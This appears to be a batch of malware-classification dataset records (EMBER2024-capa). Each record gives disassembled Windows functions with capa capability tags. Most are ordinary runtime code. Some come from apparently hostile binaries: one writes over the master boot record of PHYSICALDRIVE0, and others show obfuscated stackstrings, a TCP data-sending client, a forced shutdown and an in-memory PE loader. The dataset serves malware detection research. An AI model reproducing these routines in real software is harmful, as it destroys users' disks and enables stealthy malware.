joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4e827a
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x5b22e0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.004c5f01
mov dword [ebp - 0x14], eax
cmp dword [0x5b9b7c], esi
jne 0x4e836d
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x4e82fa
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x4e844d
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x4e844d
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4e844d
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x5b9b7c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x5b9b80], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x5b9b84], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x5b9b8c], eax
test eax, eax
je 0x4e836a
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x5b9b88], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x4e8392
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x4e8385
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x4e83a7
push 4
pop eax
jmp 0x4e844f
cmp dword [ebp - 0x14], esi
je 0x4e83a7
push dword [0x5b9b7c]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x4e838c
mov eax, dword [0x5b9b88]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x4e8405
cmp dword [0x5b9b8c], edi
je 0x4e8405
push eax
call ebx
push dword [0x5b9b8c]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x4e8405
test eax, eax
je 0x4e8405
call ecx
test eax, eax
je 0x4e83fa
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x4e83fa
test byte [ebp - 8], 1
jne 0x4e8405
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x4e8435
mov eax, dword [0x5b9b80]
cmp eax, edi
je 0x4e8432
push eax
call ebx
test eax, eax
je 0x4e8432
call eax
mov esi, eax
test esi, esi
je 0x4e8432
mov eax, dword [0x5b9b84]
cmp eax, edi
je 0x4e8432
push eax
call ebx
test eax, eax
je 0x4e8432
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x5b9b7c]
call ebx
test eax, eax
je 0x4e844d
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x4e844f
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004b9652
mov esp, ebp
pop ebp
ret
Function at 0x460a20
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push 0x10
mov eax, 0x4b45db
call fcn.00469013
mov esi, ecx
mov dword [ebp - 0x14], esi
lea eax, [esi + 0x1c]
push eax
mov dword [ebp - 0x18], eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [ebp + 8]
test ebx, ebx
jle 0x460b2a
cmp ebx, dword [esi + 0xc]
jge 0x460b2a
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, eax
test edi, edi
je 0x460a77
cmp ebx, dword [edi + 8]
jl 0x460b18
cmp dword [ebp + 0xc], 0
je 0x460b18
xor ebx, ebx
jmp 0x460ab1
xor ebx, ebx
push 0x10
mov dword [ebp - 4], ebx
call fcn.004604c7
mov edi, eax
test edi, edi
je 0x460a91
mov dword [edi], vtable.CThreadData.0
jmp 0x460a93
mov edi, ebx
or dword [ebp - 4], 0xffffffff
lea ecx, [esi + 0x14]
push edi
mov dword [edi + 8], ebx
mov dword [edi + 0xc], ebx
call fcn.0046094c
mov ecx, dword [esi + 0x14]
mov dword [eax], ecx
mov dword [esi + 0x14], edi
mov esi, dword [ebp - 0x14]
cmp dword [edi + 0xc], ebx
jne 0x460acc
push 4
push dword [esi + 0xc]
call fcn.00414969
pop ecx
pop ecx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
jmp 0x460ae4
push 2
push 4
push dword [esi + 0xc]
call fcn.00414969
pop ecx
pop ecx
push eax
push dword [edi + 0xc]
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov edx, eax
test edx, edx
je 0x460b51
mov ecx, dword [edi + 8]
mov dword [edi + 0xc], edx
mov eax, dword [esi + 0xc]
sub eax, ecx
shl eax, 2
push eax
lea eax, [edx + ecx*4]
push ebx
push eax
call fcn.00481750
mov eax, dword [esi + 0xc]
add esp, 0xc
mov dword [edi + 8], eax
push edi
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
mov ebx, dword [ebp + 8]
mov ecx, dword [edi + 0xc]
test ecx, ecx
je 0x460b2a
cmp ebx, dword [edi + 8]
jge 0x460b2a
mov eax, dword [ebp + 0xc]
mov dword [ecx + ebx*4], eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call fcn.00468f71
ret 8
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call fcn.0044ec5e
int3
Function at 0x401ecc
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
lea eax, [ebp - 4]
mov dword [ebp - 0x10], 4
push eax
xor esi, esi
push 0x20019
push esi
push 0x401170
push 0x80000002
mov dword [ebp - 4], esi
mov dword [ebp - 0xc], esi
mov dword [ebp - 8], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x401f33
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push esi
push 0x4011a8
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x401f33
cmp dword [ebp - 8], 4
jne 0x401f33
inc eax
cmp dword [ebp - 0xc], eax
jne 0x401f33
mov dword [0x40705c], eax
cmp dword [ebp - 4], 0
pop esi
je 0x401f43
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret

Function at 0x402a2f
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 8], 0
jne 0x402a41
mov eax, 0x80070057
pop ebp
ret 4
mov ecx, dword [0x407064]
pop ebp
jmp fcn.00402120

Function at 0x402a4d
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push edi
mov edi, ecx
xor ebx, ebx
cmp dword [edi + 0x20], ebx
je 0x402a66
lea eax, [edi + 8]
push eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [edi + 4]
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
jne 0x402a7b
mov ebx, 0x80004005
jmp 0x402b18
mov eax, dword [ebp + 8]
test eax, eax
jne 0x402a9c
push 0x7d00
mov ecx, edi
call fcn.00401cb2
mov dword [ebp + 8], eax
test eax, eax
jne 0x402a9c
mov ebx, 0x8007000e
jmp 0x402b18
and dword [eax + 0x1c], ebx
mov dword [eax + 0x18], 1
mov eax, dword [edi]
push esi
push edi
mov esi, dword [eax + 4]
mov ecx, esi
call dword [0x4081dc]
call esi
mov esi, dword [ebp + 8]
push esi
lea eax, [esi + 0x20]
push eax
mov eax, dword [esi + 0x24]
sub eax, dword [esi + 0x28]
push eax
lea eax, [esi + 0x30]
add eax, dword [esi + 0x28]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x402b0a
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
je 0x402b0a
cmp eax, 0xea
je 0x402b0a
and dword [esi + 0x18], ebx
mov eax, dword [edi]
push edi
mov esi, dword [eax + 8]
mov ecx, esi
call dword [0x4081dc]
call esi
call fcn.00404f2a
mov ebx, eax
jmp 0x402b17
and dword [esi + 0x18], ebx
mov ecx, 0x4070a0
call fcn.004038b9
pop esi
cmp dword [edi + 0x20], 0
je 0x402b28
lea eax, [edi + 8]
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
test ebx, ebx
je 0x402b32
push ebx
call fcn.00401b6d
pop edi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x402fe2
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [0x407068]
sub esp, 0xc
test ecx, ecx
jne 0x402ff9
mov eax, 0x80004005
jmp 0x403067
or dword [ebp - 4], 0xffffffff
lea eax, [ebp - 4]
push esi
push edi
push 1
xor edi, edi
push eax
mov dword [ebp - 0xc], edi
mov dword [ebp - 8], edi
call fcn.00402cd2
mov esi, edi
cmp eax, 0xffffffff
je 0x403039
test eax, eax
je 0x403039
push edi
lea ecx, [ebp - 8]
push ecx
push edi
lea ecx, [ebp - 0xc]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x403039
call fcn.00404f2a
mov esi, eax
mov ecx, dword [ebp - 4]
test ecx, ecx
js 0x403059
mov eax, dword [0x407068]
shl ecx, 5
add ecx, dword [eax]
cmp dword [ecx + 0x1c], edi
je 0x403059
lea eax, [ecx + 4]
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
test esi, esi
je 0x403063
push esi
call fcn.00402b85
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x40306b
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
and dword [ebp - 4], 0
mov eax, ecx
or dword [ebp - 8], 0xffffffff
lea ecx, [ebp - 8]
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push dword [ebp + 0x10]
mov ebx, dword [ebx + 0x10]
push ecx
mov ecx, eax
mov dword [ebp - 0xc], eax
add ebx, 0x18
call fcn.00402cd2
xor esi, esi
mov edi, eax
cmp dword [ebp + 0x10], esi
je 0x4030a6
cmp edi, 0xffffffff
je 0x403102
cmp edi, 0xffffffff
je 0x4030fd
test edi, edi
je 0x4030fd
push 0
lea eax, [ebp - 4]
push eax
push ebx
push dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4030f4
cmp dword [ebp - 4], ebx
jne 0x4030f4
mov eax, dword [ebp + 0xc]
lea ecx, [ebp - 4]
push 0
push ecx
mov ebx, dword [eax + 0x10]
add ebx, 0x18
push ebx
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4030f4
mov ecx, 0x4070a0
call fcn.004038b9
cmp dword [ebp - 4], ebx
je 0x403102
call fcn.00404f2a
mov esi, eax
jmp 0x403102
mov esi, 0x80004005
mov eax, dword [ebp - 8]
test eax, eax
js 0x403121
mov ecx, dword [ebp - 0xc]
shl eax, 5
add eax, dword [ecx]
cmp dword [eax + 0x1c], 0
je 0x403121
add eax, 4
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x4052d0
Capabilities:
Check os version
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x324
mov eax, dword [0x407010]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, 0x114
lea eax, [ebp - 0x324]
push esi
xor ebx, ebx
push ebx
push eax
call sub.MSVCR120_CLR0400.dll_memset
add esp, 0xc
mov dword [ebp - 0x324], esi
lea eax, [ebp - 0x324]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x4053fb
cmp dword [ebp - 0x314], 2
jne 0x4053fb
cmp dword [ebp - 0x320], 6
jb 0x4053fb
push 0x20a
lea eax, [ebp - 0x210]
push ebx
push eax
call sub.MSVCR120_CLR0400.dll_memset
add esp, 0xc
lea eax, [ebp - 0x210]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x4053fb
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 1
jl 0x4053fb
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add esi, 0xfffffff1
cmp word [ebp + eax*2 - 0x212], 0x5c
je 0x4053a8
push 0x4014e0
push esi
lea eax, [ebp - 0x210]
push eax
call fcn.00405231
test eax, eax
jne 0x4053fb
push 0x4014e4
push esi
lea eax, [ebp - 0x210]
push eax
call fcn.00405231
test eax, eax
jne 0x4053fb
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x4053fb
push edi
push 0x401500
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x4053f3
push ebx
push ebx
push 1
push ebx
mov ecx, edi
call dword [0x4081dc]
call edi
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.004046d0
mov esp, ebp
pop ebp
ret

Function at 0x4055d1
Capabilities:
Get system information on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x40
lea eax, [ebp - 0x1c]
push 0x1c
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
jne 0x4055f1
push 0x19
pop ecx
int 0x29
test byte [ebp - 8], 0x44
je 0x40563b
push esi
push edi
lea eax, [ebp - 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edi, dword [ebp - 0x3c]
xor edx, edx
lea eax, [edi - 1]
mov ecx, eax
lea esi, [edi - 1]
and eax, dword [ebp + 0xc]
not esi
and ecx, dword [ebp + 8]
dec eax
add ecx, edi
and esi, dword [ebp + 8]
add eax, ecx
div edi
xor edx, edx
mov ecx, eax
mov eax, dword [ebp + 0xc]
div edi
add ecx, eax
je 0x405639
xor eax, eax
lock or dword [esi], eax
add esi, edi
dec ecx
jne 0x40562f
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x401274
Capabilities:
Contain obfuscated stackstrings
Initialize winsock library

Disassembly:
mov eax, 0x40b6f4
call fcn.00404904
sub esp, 0x1ac
push ebx
push esi
mov esi, ecx
mov dword [ebp - 0x28], esi
lea ecx, [esi + 4]
call fcn.00401000
xor ebx, ebx
lea ecx, [esi + 0x14]
mov dword [ebp - 4], ebx
call fcn.00401000
lea ecx, [esi + 0x24]
mov byte [ebp - 4], 1
call fcn.00401000
lea ecx, [esi + 0x34]
mov byte [ebp - 4], 2
call fcn.00401000
lea eax, [ebp - 0x1b8]
mov byte [ebp - 4], 3
push eax
push 0x202
mov dword [esi], 0x40c1e0
call dword [sym.imp.WS2_32.dll_WSAStartup]
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
or dword [esi + 0x48], 0xffffffff
mov dword [esi + 0x4c], eax
lea eax, [ebp - 0x10]
push 3
push eax
lea eax, [esi + 0x54]
push eax
mov byte [esi + 0x57], bl
mov byte [ebp - 0x10], 0x68
mov byte [ebp - 0xf], 0x78
mov byte [ebp - 0xe], 0x20
call fcn.00403cf0
lea eax, [ebp - 0x24]
mov byte [ebp - 0x24], 0x45
push eax
mov byte [ebp - 0x23], 0x77
mov byte [ebp - 0x22], 0x69
mov byte [ebp - 0x21], 0x6e
mov byte [ebp - 0x20], 0x68
mov byte [ebp - 0x1f], 0x50
mov byte [ebp - 0x1e], 0x72
mov byte [ebp - 0x1d], 0x6f
mov byte [ebp - 0x1c], 0x74
mov byte [ebp - 0x1b], 0x6f
mov byte [ebp - 0x1a], 0x63
mov byte [ebp - 0x19], 0x6f
mov byte [ebp - 0x18], 0x6c
mov byte [ebp - 0x17], 0x48
mov byte [ebp - 0x16], 0x6f
mov byte [ebp - 0x15], 0x73
mov byte [ebp - 0x14], 0x74
mov byte [ebp - 0x13], 0x79
mov byte [ebp - 0x12], bl
call fcn.004044b0
add esp, 0x10
mov ecx, esi
push eax
lea eax, [ebp - 0x24]
push eax
push 0x411298
call fcn.00401ab5
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x401427
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
push edi
mov esi, ecx
call fcn.0040182e
push dword [esi + 0x4c]
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 6
xor ebx, ebx
push 1
push 2
mov byte [esi + 0x57], bl
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [esi + 0x48], eax
je 0x401499
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov edi, eax
cmp edi, ebx
je 0x401499
push dword [ebp + 0xc]
mov word [ebp - 0x24], 2
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x22], ax
mov eax, dword [edi + 0xc]
push 0x10
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x24]
push eax
push dword [esi + 0x48]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x40149d
xor al, al
jmp 0x401509
push 1
lea eax, [ebp - 4]
pop edi
push 4
push eax
push 8
push 0xffff
push dword [esi + 0x48]
mov dword [ebp - 4], edi
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x4014ea
push ebx
lea eax, [ebp - 8]
push ebx
push eax
push ebx
push ebx
lea eax, [ebp - 0x14]
push 0xc
push eax
push 0x98000004
push dword [esi + 0x48]
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x10], 0x2bf20
mov dword [ebp - 0xc], 0x1388
call dword [sym.imp.WS2_32.dll_WSAIoctl]
push ebx
push ebx
push ebx
push esi
push 0x401510
push ebx
push ebx
mov byte [esi + 0x57], 1
mov dword [esi + 0x50], ebx
call fcn.00403531
mov dword [esi + 0x44], eax
add esp, 0x1c
mov al, 1
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x4019eb
Capabilities:
Send data
Send data on socket

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push ebp
mov ebp, dword [esp + 0x14]
push esi
push edi
push ebp
mov edi, ecx
push ebx
call fcn.0040365c
mov esi, dword [esp + 0x28]
and dword [esp + 0x20], 0
pop ecx
cmp ebp, esi
pop ecx
jb 0x401a5c
and dword [esp + 0x20], 0
push 0
push esi
push ebx
push dword [edi + 0x48]
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
mov dword [esp + 0x10], eax
jg 0x401a3d
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
inc dword [esp + 0x20]
cmp dword [esp + 0x20], 0xf
jl 0x401a15
cmp dword [esp + 0x20], 0xf
je 0x401aa0
mov eax, dword [esp + 0x10]
push 0xa
add dword [esp + 0x1c], eax
add ebx, esi
call dword [sym.imp.KERNEL32.dll_Sleep]
sub ebp, esi
cmp ebp, esi
jae 0x401a10
test ebp, ebp
jle 0x401a96
and dword [esp + 0x20], 0
push 0
push ebp
push ebx
push dword [edi + 0x48]
call dword [sym.imp.WS2_32.dll_send]
mov esi, eax
test esi, esi
jg 0x401a8b
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
inc dword [esp + 0x20]
cmp dword [esp + 0x20], 0xf
jl 0x401a65
cmp dword [esp + 0x20], 0xf
je 0x401aa0
add dword [esp + 0x18], esi
mov eax, dword [esp + 0x18]
cmp eax, dword [esp + 0x1c]
je 0x401aa3
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 0xc
Function at 0x401c31
Capabilities:
Overwrite master boot record (mbr)
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
push ebx
push esi
push edi
push 0x7f
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x203]
mov byte [ebp - 0x204], bl
push 0x30
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x204]
push 0x40e03c
push eax
call fcn.00403cf0
add esp, 0xc
mov byte [ebp - 6], 0x55
mov byte [ebp - 5], 0xaa
push ebx
push ebx
push 3
push ebx
push 3
push 0xc0000000
push str..PHYSICALDRIVE0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x401cb0
lea eax, [ebp - 4]
push ebx
push eax
lea eax, [ebp - 0x204]
push 0x200
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x401d14
Capabilities:
Shutdown system

Disassembly:
push esi
mov esi, str.SeShutdownPrivilege
push 1
push esi
call fcn.0040385c
pop ecx
pop ecx
push 0
push dword [esp + 0xc]
call dword [sym.imp.USER32.dll_ExitWindowsEx]
push 0
push esi
call fcn.0040385c
pop ecx
pop ecx
pop esi
ret

Function at 0x401d96
Capabilities:
Terminate thread

Disassembly:
push ebx
push esi
mov esi, ecx
xor ebx, ebx
cmp dword [esi + 0xfac], ebx
mov dword [esi], 0x40c1e4
jbe 0x401dcd
push edi
lea edi, [esi + 0xc]
push 0xffffffffffffffff
push dword [edi]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push dword [edi]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc ebx
add edi, 4
cmp ebx, dword [esi + 0xfac]
jb 0x401dae
pop edi
mov ecx, esi
call fcn.00401ee7
pop esi
pop ebx
ret
Function at 0x401efa
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
cmp word [eax], 0x5a4d
jne 0x402009
mov esi, dword [eax + 0x3c]
add esi, eax
cmp dword [esi], 0x4550
jne 0x402009
mov edi, 0x2000
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
push edi
push dword [esi + 0x50]
push dword [esi + 0x34]
call ebx
test eax, eax
mov dword [ebp - 4], eax
jne 0x401f52
push 4
push edi
push dword [esi + 0x50]
push eax
call ebx
test eax, eax
mov dword [ebp - 4], eax
je 0x402009
push 0x14
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
mov eax, dword [ebp - 4]
xor ecx, ecx
push 4
push 0x1000
mov dword [edi + 4], eax
mov dword [edi + 0xc], ecx
mov dword [edi + 8], ecx
mov dword [edi + 0x10], ecx
push dword [esi + 0x50]
push eax
call ebx
push 4
push 0x1000
push dword [esi + 0x54]
push dword [ebp - 4]
call ebx
mov ebx, dword [ebp + 8]
mov dword [ebp - 8], eax
mov ecx, dword [ebx + 0x3c]
add ecx, dword [esi + 0x54]
push ecx
push ebx
push eax
call fcn.00403cf0
mov eax, dword [ebx + 0x3c]
mov ecx, dword [ebp - 8]
add eax, ecx
mov ecx, dword [ebp - 4]
push edi
push esi
mov dword [edi], eax
push ebx
mov dword [eax + 0x34], ecx
call fcn.00402017
mov ebx, dword [ebp - 4]
add esp, 0x18
mov eax, ebx
sub eax, dword [esi + 0x34]
je 0x401fd4
push eax
push edi
call fcn.00402181
pop ecx
pop ecx
push edi
call fcn.004021fb
test eax, eax
pop ecx
je 0x402002
push edi
call fcn.004020c4
mov eax, dword [edi]
pop ecx
mov eax, dword [eax + 0x28]
test eax, eax
je 0x402010
add eax, ebx
test eax, eax
je 0x402002
push 0
push 1
pop esi
push esi
push ebx
call eax
test eax, eax
jne 0x40200d
push edi
call fcn.004023b5
pop ecx
xor eax, eax
jmp 0x402012
mov dword [edi + 0x10], esi
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x402017
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0x10]
and dword [ebp - 4], 0
push esi
mov ecx, dword [eax + 4]
mov eax, dword [eax]
mov dword [ebp - 8], ecx
movzx ecx, word [eax + 0x14]
cmp word [eax + 6], 0
lea esi, [ecx + eax + 0x18]
jbe 0x4020c1
push ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
add esi, 0x10
mov ebx, 0x1000
cmp dword [esi], 0
jne 0x402082
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 0x38]
test eax, eax
mov dword [ebp - 0xc], eax
jle 0x4020ab
push 4
push ebx
push eax
mov eax, dword [esi - 4]
add eax, dword [ebp - 8]
push eax
call edi
push dword [ebp - 0xc]
mov dword [esi - 8], eax
push 0
push eax
call fcn.00404930
add esp, 0xc
jmp 0x4020ab
mov eax, dword [esi - 4]
push 4
add eax, dword [ebp - 8]
push ebx
push dword [esi]
push eax
call edi
mov ecx, dword [esi + 4]
push dword [esi]
add ecx, dword [ebp + 8]
mov dword [ebp - 0xc], eax
push ecx
push eax
call fcn.00403cf0
mov eax, dword [ebp - 0xc]
add esp, 0xc
mov dword [esi - 8], eax
mov eax, dword [ebp + 0x10]
inc dword [ebp - 4]
add esi, 0x28
mov eax, dword [eax]
movzx eax, word [eax + 6]
cmp dword [ebp - 4], eax
jl 0x402050
pop edi
pop ebx
pop esi
leave
ret